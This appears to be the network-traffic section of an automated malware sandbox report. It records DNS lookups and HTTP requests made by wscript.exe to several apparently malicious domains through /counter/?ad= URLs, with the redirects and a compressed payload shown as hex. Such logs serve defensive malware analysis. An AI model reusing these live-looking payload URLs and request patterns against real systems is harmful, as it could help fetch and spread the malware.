Nov 20, 2024 08:15:21.179441929 CET	80	49702	188.114.97.3	192.168.2.7
Nov 20, 2024 08:15:21.179517031 CET	80	49702	188.114.97.3	192.168.2.7
Nov 20, 2024 08:15:21.179516077 CET	49702	80	192.168.2.7	188.114.97.3
Nov 20, 2024 08:15:21.179558039 CET	80	49702	188.114.97.3	192.168.2.7
Nov 20, 2024 08:15:21.179560900 CET	49702	80	192.168.2.7	188.114.97.3
Nov 20, 2024 08:15:21.179594040 CET	49702	80	192.168.2.7	188.114.97.3
Nov 20, 2024 08:15:21.179594994 CET	80	49702	188.114.97.3	192.168.2.7
Nov 20, 2024 08:15:21.179637909 CET	80	49702	188.114.97.3	192.168.2.7
Nov 20, 2024 08:15:21.179644108 CET	49702	80	192.168.2.7	188.114.97.3
Nov 20, 2024 08:15:21.179707050 CET	49702	80	192.168.2.7	188.114.97.3
Nov 20, 2024 08:15:21.179836988 CET	80	49702	188.114.97.3	192.168.2.7
Nov 20, 2024 08:15:21.179883957 CET	49702	80	192.168.2.7	188.114.97.3
Nov 20, 2024 08:15:24.469737053 CET	49702	80	192.168.2.7	188.114.97.3
Nov 20, 2024 08:15:24.474751949 CET	80	49702	188.114.97.3	192.168.2.7
Nov 20, 2024 08:15:25.183959961 CET	80	49702	188.114.97.3	192.168.2.7
Nov 20, 2024 08:15:25.184020996 CET	80	49702	188.114.97.3	192.168.2.7
Nov 20, 2024 08:15:25.184063911 CET	49702	80	192.168.2.7	188.114.97.3
Nov 20, 2024 08:15:25.184093952 CET	49702	80	192.168.2.7	188.114.97.3
Nov 20, 2024 08:15:25.276222944 CET	80	49702	188.114.97.3	192.168.2.7
Nov 20, 2024 08:15:25.276364088 CET	49702	80	192.168.2.7	188.114.97.3
Nov 20, 2024 08:15:25.280931950 CET	49702	80	192.168.2.7	188.114.97.3
Nov 20, 2024 08:15:25.285801888 CET	80	49702	188.114.97.3	192.168.2.7
Nov 20, 2024 08:15:26.150428057 CET	80	49702	188.114.97.3	192.168.2.7
Nov 20, 2024 08:15:26.150454044 CET	80	49702	188.114.97.3	192.168.2.7
Nov 20, 2024 08:15:26.150495052 CET	49702	80	192.168.2.7	188.114.97.3
Nov 20, 2024 08:15:26.150506973 CET	80	49702	188.114.97.3	192.168.2.7
Nov 20, 2024 08:15:26.150543928 CET	49702	80	192.168.2.7	188.114.97.3
Nov 20, 2024 08:15:26.150543928 CET	49702	80	192.168.2.7	188.114.97.3
Nov 20, 2024 08:15:26.150585890 CET	80	49702	188.114.97.3	192.168.2.7
Nov 20, 2024 08:15:26.150599957 CET	80	49702	188.114.97.3	192.168.2.7
Nov 20, 2024 08:15:26.150636911 CET	49702	80	192.168.2.7	188.114.97.3
Nov 20, 2024 08:15:26.150636911 CET	49702	80	192.168.2.7	188.114.97.3
Nov 20, 2024 08:15:26.150684118 CET	80	49702	188.114.97.3	192.168.2.7
Nov 20, 2024 08:15:26.150696039 CET	80	49702	188.114.97.3	192.168.2.7
Nov 20, 2024 08:15:26.150727034 CET	49702	80	192.168.2.7	188.114.97.3
Nov 20, 2024 08:15:26.175904036 CET	49702	80	192.168.2.7	188.114.97.3
Nov 20, 2024 08:15:26.180814028 CET	80	49702	188.114.97.3	192.168.2.7
Nov 20, 2024 08:15:26.952148914 CET	80	49702	188.114.97.3	192.168.2.7
Nov 20, 2024 08:15:26.952239990 CET	80	49702	188.114.97.3	192.168.2.7
Nov 20, 2024 08:15:26.952342033 CET	49702	80	192.168.2.7	188.114.97.3
Nov 20, 2024 08:15:26.966490030 CET	49702	80	192.168.2.7	188.114.97.3
Nov 20, 2024 08:15:26.971564054 CET	80	49702	188.114.97.3	192.168.2.7
Nov 20, 2024 08:15:27.757189989 CET	80	49702	188.114.97.3	192.168.2.7
Nov 20, 2024 08:15:27.757261992 CET	80	49702	188.114.97.3	192.168.2.7
Nov 20, 2024 08:15:27.757273912 CET	49702	80	192.168.2.7	188.114.97.3
Nov 20, 2024 08:15:27.757303953 CET	80	49702	188.114.97.3	192.168.2.7
Nov 20, 2024 08:15:27.757340908 CET	80	49702	188.114.97.3	192.168.2.7
Nov 20, 2024 08:15:27.757347107 CET	49702	80	192.168.2.7	188.114.97.3
Nov 20, 2024 08:15:27.757348061 CET	49702	80	192.168.2.7	188.114.97.3
Nov 20, 2024 08:15:27.757389069 CET	80	49702	188.114.97.3	192.168.2.7
Nov 20, 2024 08:15:27.757394075 CET	49702	80	192.168.2.7	188.114.97.3
Nov 20, 2024 08:15:27.757457972 CET	49702	80	192.168.2.7	188.114.97.3
Nov 20, 2024 08:15:27.757478952 CET	80	49702	188.114.97.3	192.168.2.7
Nov 20, 2024 08:15:27.757569075 CET	49702	80	192.168.2.7	188.114.97.3
Nov 20, 2024 08:15:27.840257883 CET	49702	80	192.168.2.7	188.114.97.3
Nov 20, 2024 08:15:27.845235109 CET	80	49702	188.114.97.3	192.168.2.7
Nov 20, 2024 08:15:28.594986916 CET	80	49702	188.114.97.3	192.168.2.7
Nov 20, 2024 08:15:28.595004082 CET	80	49702	188.114.97.3	192.168.2.7
Nov 20, 2024 08:15:28.595088005 CET	49702	80	192.168.2.7	188.114.97.3
Nov 20, 2024 08:15:28.595206022 CET	49702	80	192.168.2.7	188.114.97.3
Nov 20, 2024 08:15:28.607832909 CET	49702	80	192.168.2.7	188.114.97.3
Nov 20, 2024 08:15:28.612777948 CET	80	49702	188.114.97.3	192.168.2.7
Nov 20, 2024 08:15:29.459057093 CET	80	49702	188.114.97.3	192.168.2.7
Nov 20, 2024 08:15:29.459115028 CET	80	49702	188.114.97.3	192.168.2.7
Nov 20, 2024 08:15:29.459132910 CET	80	49702	188.114.97.3	192.168.2.7
Nov 20, 2024 08:15:29.459176064 CET	80	49702	188.114.97.3	192.168.2.7
Nov 20, 2024 08:15:29.459192038 CET	80	49702	188.114.97.3	192.168.2.7
Nov 20, 2024 08:15:29.459208965 CET	49702	80	192.168.2.7	188.114.97.3
Nov 20, 2024 08:15:29.459304094 CET	49702	80	192.168.2.7	188.114.97.3
Nov 20, 2024 08:15:29.459451914 CET	80	49702	188.114.97.3	192.168.2.7
Nov 20, 2024 08:15:29.460710049 CET	49702	80	192.168.2.7	188.114.97.3
Nov 20, 2024 08:15:36.650192976 CET	49699	80	192.168.2.7	65.109.23.226
Nov 20, 2024 08:15:36.650194883 CET	49701	80	192.168.2.7	187.1.136.13
Nov 20, 2024 08:15:36.650216103 CET	49702	80	192.168.2.7	188.114.97.3

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 20, 2024 08:15:11.028605938 CET	61999	53	192.168.2.7	1.1.1.1
Nov 20, 2024 08:15:11.174443007 CET	53	61999	1.1.1.1	192.168.2.7
Nov 20, 2024 08:15:11.183970928 CET	60848	53	192.168.2.7	1.1.1.1
Nov 20, 2024 08:15:11.232018948 CET	53	60848	1.1.1.1	192.168.2.7
Nov 20, 2024 08:15:11.238837957 CET	52289	53	192.168.2.7	1.1.1.1
Nov 20, 2024 08:15:11.317210913 CET	53	52289	1.1.1.1	192.168.2.7
Nov 20, 2024 08:15:12.024544954 CET	51151	53	192.168.2.7	1.1.1.1
Nov 20, 2024 08:15:12.514792919 CET	53	51151	1.1.1.1	192.168.2.7
Nov 20, 2024 08:15:13.707925081 CET	51744	53	192.168.2.7	1.1.1.1
Nov 20, 2024 08:15:13.714123964 CET	63945	53	192.168.2.7	1.1.1.1
Nov 20, 2024 08:15:13.907519102 CET	53	63945	1.1.1.1	192.168.2.7
Nov 20, 2024 08:15:14.303277969 CET	53	51744	1.1.1.1	192.168.2.7

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 20, 2024 08:15:11.028605938 CET	192.168.2.7	1.1.1.1	0x2851	Standard query (0)	xn--80adi0bdhdbmg.xn--p1ai	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:15:11.183970928 CET	192.168.2.7	1.1.1.1	0x72f6	Standard query (0)	jpnovo.ru	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:15:11.238837957 CET	192.168.2.7	1.1.1.1	0x86ff	Standard query (0)	lacampagnetropicana.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:15:12.024544954 CET	192.168.2.7	1.1.1.1	0xe12a	Standard query (0)	cestasgabrasil.com.br	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:15:13.707925081 CET	192.168.2.7	1.1.1.1	0xb6d8	Standard query (0)	www.cestasgabrasil.com.br	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:15:13.714123964 CET	192.168.2.7	1.1.1.1	0x53cc	Standard query (0)	radostdetym.ru	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 20, 2024 08:15:11.174443007 CET	1.1.1.1	192.168.2.7	0x2851	Name error (3)	xn--80adi0bdhdbmg.xn--p1ai	none	none	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:15:11.232018948 CET	1.1.1.1	192.168.2.7	0x72f6	Name error (3)	jpnovo.ru	none	none	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:15:11.317210913 CET	1.1.1.1	192.168.2.7	0x86ff	No error (0)	lacampagnetropicana.com		65.109.23.226	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:15:12.514792919 CET	1.1.1.1	192.168.2.7	0xe12a	No error (0)	cestasgabrasil.com.br		187.1.136.13	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:15:13.907519102 CET	1.1.1.1	192.168.2.7	0x53cc	No error (0)	radostdetym.ru		188.114.97.3	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:15:13.907519102 CET	1.1.1.1	192.168.2.7	0x53cc	No error (0)	radostdetym.ru		188.114.96.3	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:15:14.303277969 CET	1.1.1.1	192.168.2.7	0xb6d8	No error (0)	www.cestasgabrasil.com.br	web15f01.uni5.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 08:15:14.303277969 CET	1.1.1.1	192.168.2.7	0xb6d8	No error (0)	web15f01.uni5.net		187.1.136.13	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

lacampagnetropicana.com

cestasgabrasil.com.br

radostdetym.ru

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49699	65.109.23.226	80	5904	C:\Windows\System32\wscript.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:15:11.345107079 CET	466	OUT	GET /counter/?ad=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN&id=rWoA9pTQhV1o4c5fjbOa-d26BGh3QU3-Bk0PqI4WnzM-5vl4IqKPymhrqkRpunF_PTHktMR-2qUlNAtnXA&rnd=21 HTTP/1.1 Accept: / Accept-Language: en-ch UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: lacampagnetropicana.com Connection: Keep-Alive
Nov 20, 2024 08:15:12.006509066 CET	779	IN	HTTP/1.1 301 Moved Permanently Date: Wed, 20 Nov 2024 07:15:11 GMT Server: Apache Location: https://lacampagnetropicana.com/counter/?ad=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN&id=rWoA9pTQhV1o4c5fjbOa-d26BGh3QU3-Bk0PqI4WnzM-5vl4IqKPymhrqkRpunF_PTHktMR-2qUlNAtnXA&rnd=21 Content-Length: 387 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 6c 61 63 61 6d 70 61 67 6e 65 74 72 6f 70 69 63 61 6e 61 2e 63 6f 6d 2f 63 6f 75 6e 74 65 72 2f 3f 61 64 3d 31 4a 58 53 58 79 62 7a 45 6a 6a 52 4a 51 44 62 56 6e 67 54 79 37 64 38 6b 45 46 41 78 6d 67 6d 44 4e 26 61 6d 70 3b 69 64 3d 72 57 6f 41 39 70 54 51 68 56 31 6f 34 63 35 66 6a 62 4f 61 2d 64 32 36 42 47 68 33 51 55 33 2d 42 6b 30 50 71 49 34 57 6e 7a 4d 2d 35 76 6c 34 49 71 4b 50 79 6d 68 72 71 6b 52 70 75 6e 46 5f 50 54 48 6b 74 4d 52 2d 32 71 55 [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://lacampagnetropicana.com/counter/?ad=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN&id=rWoA9pTQhV1o4c5fjbOa-d26BGh3QU3-Bk0PqI4WnzM-5vl4IqKPymhrqkRpunF_PTHktMR-2qUlNAtnXA&rnd=21">here</a>.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49701	187.1.136.13	80	5904	C:\Windows\System32\wscript.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:15:12.532365084 CET	464	OUT	GET /counter/?ad=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN&id=rWoA9pTQhV1o4c5fjbOa-d26BGh3QU3-Bk0PqI4WnzM-5vl4IqKPymhrqkRpunF_PTHktMR-2qUlNAtnXA&rnd=31 HTTP/1.1 Accept: / Accept-Language: en-ch UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: cestasgabrasil.com.br Connection: Keep-Alive
Nov 20, 2024 08:15:13.698493958 CET	592	IN	HTTP/1.1 301 Moved Permanently Date: Wed, 20 Nov 2024 07:15:13 GMT Server: Apache Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 X-Redirect-By: WordPress Content-Encoding: gzip Vary: Accept-Encoding Location: http://www.cestasgabrasil.com.br/counter/?ad=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN&id=rWoA9pTQhV1o4c5fjbOa-d26BGh3QU3-Bk0PqI4WnzM-5vl4IqKPymhrqkRpunF_PTHktMR-2qUlNAtnXA&rnd=31 Keep-Alive: timeout=5, max=500 Connection: Keep-Alive Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8 Data Raw: 31 34 0d 0a 1f 8b 08 00 00 00 00 00 00 03 03 00 00 00 00 00 00 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 140

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.7	49702	188.114.97.3	80	5904	C:\Windows\System32\wscript.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:15:13.913611889 CET	457	OUT	GET /counter/?ad=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN&id=rWoA9pTQhV1o4c5fjbOa-d26BGh3QU3-Bk0PqI4WnzM-5vl4IqKPymhrqkRpunF_PTHktMR-2qUlNAtnXA&rnd=41 HTTP/1.1 Accept: / Accept-Language: en-ch UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: radostdetym.ru Connection: Keep-Alive
Nov 20, 2024 08:15:15.226670027 CET	1236	IN	HTTP/1.1 301 Moved Permanently Date: Wed, 20 Nov 2024 07:15:15 GMT Content-Type: text/html; charset=iso-8859-1 Transfer-Encoding: chunked Connection: keep-alive Location: http://radostdetym.ru/?ad=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN&id=rWoA9pTQhV1o4c5fjbOa-d26BGh3QU3-Bk0PqI4WnzM-5vl4IqKPymhrqkRpunF_PTHktMR-2qUlNAtnXA&rnd=41 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=P1Ns4QMsmhGcAAUBYg7UCCfMg7FyBDsLBxL15r7o0SjjDRzSFPjmGx7OTC2Csuoq9O%2FgpPlVZ5XhtCXIeC3%2Fyy1Ofmghv45GjnCA6j%2ByHAbdFPDZAYwO2%2BOnvxyJu2iREA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e56a5ce991e4407-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2009&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=457&delivery_rate=0&cwnd=228&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 31 63 31 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 72 61 64 6f 73 74 64 65 74 79 6d 2e 72 75 2f 3f 61 64 3d 31 4a 58 53 58 79 62 7a 45 6a 6a 52 4a 51 44 62 56 6e 67 54 79 37 64 38 6b 45 46 41 78 6d 67 6d 44 4e 26 61 6d 70 3b 69 64 3d 72 57 6f 41 39 70 54 51 68 56 31 6f 34 63 35 66 6a 62 4f 61 2d 64 32 36 42 47 68 33 51 55 33 2d 42 6b 30 50 71 49 34 57 6e Data Ascii: 1c1<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="http://radostdetym.ru/?ad=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN&id=rWoA9pTQhV1o4c5fjbOa-d26BGh3QU3-Bk0PqI4Wn
Nov 20, 2024 08:15:15.226689100 CET	170	IN	Data Raw: 7a 4d 2d 35 76 6c 34 49 71 4b 50 79 6d 68 72 71 6b 52 70 75 6e 46 5f 50 54 48 6b 74 4d 52 2d 32 71 55 6c 4e 41 74 6e 58 41 26 61 6d 70 3b 72 6e 64 3d 34 31 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e Data Ascii: zM-5vl4IqKPymhrqkRpunF_PTHktMR-2qUlNAtnXA&rnd=41">here</a>.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at radostdetym.ru Port 80</address></body></html>0
Nov 20, 2024 08:15:15.295003891 CET	449	OUT	GET /?ad=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN&id=rWoA9pTQhV1o4c5fjbOa-d26BGh3QU3-Bk0PqI4WnzM-5vl4IqKPymhrqkRpunF_PTHktMR-2qUlNAtnXA&rnd=41 HTTP/1.1 Accept: / Accept-Language: en-ch UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: radostdetym.ru Connection: Keep-Alive
Nov 20, 2024 08:15:16.147794962 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:15:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Set-Cookie: PHPSESSID=2u5ggapl9b40qjimiiusi6upkv; path=/ Set-Cookie: _subid=1ccvtc11gv2o6i; expires=Mon, 25-Nov-2024 07:15:15 GMT; Max-Age=432000; path=/; domain=.radostdetym.ru Set-Cookie: 64f87=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1wic3RyZWFtc1wiOntcIjc3N1wiOjE3MzIwODY5MTV9LFwiY2FtcGFpZ25zXCI6e1wiMjE1XCI6MTczMjA4NjkxNX0sXCJ0aW1lXCI6MTczMjA4NjkxNX0ifQ.zMUIdkvjz9BNLENllP0xDiC4Fr7OnIsPJw_TmY6km5s; expires=Mon, 25-Nov-2024 07:15:15 GMT; Max-Age=432000; path=/; domain=.radostdetym.ru Vary: Accept-Encoding CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=krUEGRo6n9SH5TMr8EpWYmoudlFWCWpH41V%2BxLFcWTmoD%2Fxg5%2BwJH2eagLgbaOW9D%2BDy%2BDzu1NCZGDN81sJd8r8hwCyZ2yUa%2BzGnUEP57IJVtgFypgIoo1gXSByc%2BZz9OQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e56a5d4ecdd4407-EWR Content-Encoding: gzip alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2024&sent=4&recv=5&lost=0&retrans=0&sent_bytes=1406&recv_b Data Raw: Data Ascii:
Nov 20, 2024 08:15:16.147861004 CET	224	IN	Data Raw: 74 65 73 3d 39 30 36 26 64 65 6c 69 76 65 72 79 5f 72 61 74 65 3d 31 33 36 38 39 36 33 26 63 77 6e 64 3d 32 33 30 26 75 6e 73 65 6e 74 5f 62 79 74 65 73 3d 30 26 63 69 64 3d 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 26 74 73 3d 30 26 78 3d Data Ascii: tes=906&delivery_rate=1368963&cwnd=230&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"1623\nWvX[~#h,6MZE!!93;3HleiS8(4-Z4%Qp+G(9)95[w~K]\|/
Nov 20, 2024 08:15:16.147897959 CET	1236	IN	Data Raw: 33 d6 0c 5a f6 ea b5 ab cb f0 2f b3 8d 76 63 25 e3 6d e4 7e f5 41 86 b9 9e 59 b7 b6 56 32 4e a3 c2 9a 41 e0 fa 95 42 c1 69 b8 f9 96 59 68 fb af 65 98 15 98 2d bf ea b8 26 fe 14 6c bb e6 4a 06 da 55 0a 05 bf da 34 5b 46 de f1 1a 85 bf 35 d7 df 33 Data Ascii: 3Z/vc%m~AYV2NABiYhe-&lJU4[F53f012UJ[cVuV2V-h;V,V`vR~rpbP2>]~_GD@tO=lj;}b/<
Nov 20, 2024 08:15:16.147933960 CET	1236	IN	Data Raw: 2d 69 ca 94 f9 da 46 6d fb 37 46 c2 3e ac 36 fa e9 ba ed 54 6f 27 bc 03 87 57 43 4c 86 84 94 8d bf 82 e2 d6 1d af 66 7a 39 70 ae 0d bf c2 e6 a5 db ea 7a 4b 4e 9c a2 40 da 9a ae bf 49 ab 4d ba 65 38 84 6f 56 61 3a ea 1d 0a 61 4e 39 24 35 aa 1a 5e Data Ascii: -iFm7F>6To'WCLfz9pzKN@IMe8oVa:aN9$5^mn{Z{{&:5'nsZ)bn[d\$$OFrp1'6oeZXtfh:1D\H{E4l[1r4)q+[:7b=!pO[jY
Nov 20, 2024 08:15:16.147970915 CET	1236	IN	Data Raw: d3 a1 3e 5b 0f 09 d2 a9 38 c4 97 7d fc 7b 84 a7 48 cf e9 b8 09 3a 5c 4f 1e 8c a9 d3 43 79 54 95 95 f3 e3 b2 c2 43 2c 38 67 02 8d 75 f9 99 d8 cd ea a7 55 dd a8 81 76 10 35 50 c7 5d e1 6b 58 35 3f c3 59 76 60 26 94 70 9f f1 2e ef e1 ae 4e f1 d4 70 Data Ascii: >[8}{H:\OCyTC,8guUv5P]kX5?Yv`&p.NpQAgr$wG].HCO7'Ww}rYNz:U{s-'m$f9nT_\|M<h-+bmS&DSmnLB8>T=Q)Zj%S#i&W
Nov 20, 2024 08:15:16.148005962 CET	1236	IN	Data Raw: b2 3c a4 72 44 c5 0e e4 1c 14 65 c4 8e 38 a4 cd 5f 94 6c e3 b2 ba 08 e3 14 32 07 a1 4d ed 4d c0 99 ac f4 60 08 f8 32 3a 12 30 c2 ee 8e 63 a5 c1 53 92 59 02 12 c4 23 64 50 7d 0c 32 60 cb bb 8a 6d c5 88 25 42 50 f7 e2 72 e3 44 f8 18 85 ec bc 8f 29 Data Ascii: <rDe8_l2MM`2:0cSY#dP}2`m%BPrD)m,(@"oa%xN!:X @Xv}LyT2~rYAr3e*]`Gb?;!T3jRl(!vkdjCh6COOp{h=v\ #,1LALb Z t
Nov 20, 2024 08:15:16.148061991 CET	615	IN	Data Raw: 81 89 79 57 e6 a7 18 9a 3b 09 16 97 67 fc 3b de 13 87 c8 a3 94 9d d3 b7 89 07 51 6d 5e 9e 0b c0 2d 5a 4a 8e 3b 54 24 89 80 23 92 a4 3c 8f 1b 2a 9d 49 e0 ea 61 dd 5a e5 13 7a 4a f3 aa 4e b0 58 9a 5b 2b cf 2e 5d b6 84 ac 59 d3 34 ab 8f 59 7b db a9 Data Ascii: yW;g;Qm^-ZJ;T$#<*IaZzJNX[+.]Y4Y{xsJIRQCl~f/dXT!@.c`(1;KRXYgj/O(VW);}EJE<IK4P"49u~F@:!x+amf8FBe>zId
Nov 20, 2024 08:15:19.653752089 CET	749	OUT	GET /counter/?ad=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN&id=rWoA9pTQhV1o4c5fjbOa-d26BGh3QU3-Bk0PqI4WnzM-5vl4IqKPymhrqkRpunF_PTHktMR-2qUlNAtnXA&rnd=42 HTTP/1.1 Accept: / Accept-Language: en-ch UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: radostdetym.ru Connection: Keep-Alive Cookie: PHPSESSID=2u5ggapl9b40qjimiiusi6upkv; _subid=1ccvtc11gv2o6i; 64f87=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1wic3RyZWFtc1wiOntcIjc3N1wiOjE3MzIwODY5MTV9LFwiY2FtcGFpZ25zXCI6e1wiMjE1XCI6MTczMjA4NjkxNX0sXCJ0aW1lXCI6MTczMjA4NjkxNX0ifQ.zMUIdkvjz9BNLENllP0xDiC4Fr7OnIsPJw_TmY6km5s
Nov 20, 2024 08:15:20.374152899 CET	1236	IN	HTTP/1.1 301 Moved Permanently Date: Wed, 20 Nov 2024 07:15:20 GMT Content-Type: text/html; charset=iso-8859-1 Transfer-Encoding: chunked Connection: keep-alive Location: http://radostdetym.ru/?ad=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN&id=rWoA9pTQhV1o4c5fjbOa-d26BGh3QU3-Bk0PqI4WnzM-5vl4IqKPymhrqkRpunF_PTHktMR-2qUlNAtnXA&rnd=42 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=611iqg4gKyUht0tqH5Fhfq%2F%2BTtRKLeCh9SPjQ8TyTcQ%2BuQtgXKIn72q1wF5UHhmO7qHj2XmGF76P5qvn%2B8glq99ctJ3ctQAuXVh9v0ELDs%2BQFEZTFcWJ2LfLJOjBC6tA8g%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e56a5f02e054407-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2043&sent=11&recv=7&lost=0&retrans=0&sent_bytes=8425&recv_bytes=1655&delivery_rate=4031293&cwnd=236&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 31 63 31 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 